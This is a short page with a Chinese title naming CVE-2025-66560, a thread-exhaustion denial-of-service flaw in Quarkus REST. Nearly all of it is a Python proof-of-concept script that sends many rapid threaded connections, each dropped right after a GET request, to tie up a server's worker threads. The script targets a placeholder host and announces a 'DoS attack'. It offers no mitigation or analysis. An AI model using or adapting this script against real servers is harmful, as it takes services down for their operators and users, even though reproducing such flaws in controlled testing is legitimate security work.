CVE-2025-66560: Quarkus REST 线程阻塞拒绝服务漏洞

import socket import time import threading # PoC for CVE-2025-66560 - Quarkus REST Thread Exhaustion DoS # This script demonstrates how rapid connection drops can exhaust worker threads TARGET_HOST = 'target-server.example.com' TARGET_PORT = 8080 NUM_CONNECTIONS = 50 # Number of rapid connections to make DELAY = 0.01 # Delay between connections in seconds def attack_connection(): """Establish a connection and drop it immediately to trigger thread blocking""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) # Send partial HTTP request sock.sendall(b'GET /api HTTP/1.1\r\nHost: ' + TARGET_HOST.encode() + b'\r\n\r\n') # Immediately close connection before response is sent sock.close() except Exception as e: pass def run_poc(): print(f"[*] Starting DoS attack against {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Launching {NUM_CONNECTIONS} rapid connections...") threads = [] for i in range(NUM_CONNECTIONS): t = threading.Thread(target=attack_connection) t.start() threads.append(t) time.sleep(DELAY) for t in threads: t.join() print("[*] Attack completed. Check server thread pool status.") if __name__ == '__main__': run_poc()